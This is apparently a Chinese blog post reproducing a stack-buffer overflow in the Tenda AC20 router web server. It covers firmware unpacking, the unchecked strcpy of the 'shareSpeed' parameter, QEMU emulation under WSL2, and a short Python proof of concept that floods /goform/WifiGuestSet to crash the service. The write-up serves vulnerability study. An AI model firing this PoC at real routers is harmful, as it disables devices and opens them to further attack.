最近从微信公众号上看到了Tenda AC20 路由器的漏洞复现:
https://mp.weixin.qq.com/s/le-6-2HlYnKNUTgk1XvBWw
正好手里边有一个,也跟着学习下复现
根据文章去腾达官网下载AC20 路由器的最新固件

用固件解包工具https://zhiwanyuzhou.com/multiple_analyse/firmware/解包bin文件

找到路由器的整个操作系统根目录squashfs-root
我们要分析的是bin目录下的httpd,就是这台路由器的 Web 后台服务器

MIPS32架构,使用的是面向嵌入式系统的微型 C 库(uClibc)

漏洞点在fromSetWifiGusetBasic函数里
这里不知道是不是厂商代码写错了,我觉得Guest更合理点

程序通过 websGetVar函数获取 HTTP 请求中名为 shareSpeed的参数值。这个值由外部攻击者完全控制,且传入的字符串可以任意长
在 32 位 MIPS 架构下,_DWORD(双字)占用 4 字节,Var_1[4]数组的总大小只有 4×4=16 字节
程序直接调用 strcpy 将完全可控且长度未知的 Var 拷贝到只有 16 字节大小的 Var_1 中,没有边界检查
明显的栈溢出
看下交叉引用


websFormDefine 是经典嵌入式 Web 服务器(如 GoAhead)的路由注册 API,它的标准格式是:
websFormDefine("URL动作名", 函数指针);
当路由器收到一个路径为 /goform/URL动作名 的 POST 请求时,内部的 HTTP 解析器就会查这张表,然后自动跳转到对应的函数去执行
##
腾达的 httpd启动时会硬编码检测局域网网桥 br0并尝试绑定固定 IP,我们在 WSL2 中利用 Linux 原生内核特性,凭空伪造了一个满足它启动要求的虚拟网络:


由于固件最初解压在 Windows 的 C 盘(NTFS),导致 Linux 的符号链接(软链接)全部碎成了 10 字节左右的无效文本文件,引发 QEMU 报 No such file or directory
后面直接把固件整体迁移到 ext4 原生文件系统下,并用同名的大文件真身强行覆盖所有损坏的 .so 动态库

校准配置文件,确保服务牢牢绑定在虚拟网卡 192.168.0.1 的 80 端口上

启动靶机跑MIPS 仿真环境


httpd 的主守护进程(Parent Process)。它在启动后,只负责打印一个 WeLoveLinux标语,然后通过 fork() 生出子进程去监听端口
简单写个poc
import requests
# WSL 内部本地回环地址
url = "http://192.168.0.1/goform/WifiGuestSet"
# Var_1 在栈上只有 16 字节,我们发送 500 个 'A' 强行引发栈溢出
payload = "A" * 500
data = {
"shareSpeed": payload
}
print(f"[*] 目标 URL: {url}")
try:
# 栈溢出导致进程崩溃时,程序通常无法返回常规的 HTTP 响应
# 设置 5 秒超时防止脚本卡死
response = requests.post(url, data=data, timeout=5)
print(f"send response: {response.status_code}")
except requests.exceptions.RequestException:
print(f"success")

可以看到发送poc后服务确实已经无法响应了
切到chroot窗口也是bad_sig_entry

到这里就是简单的复现成功了









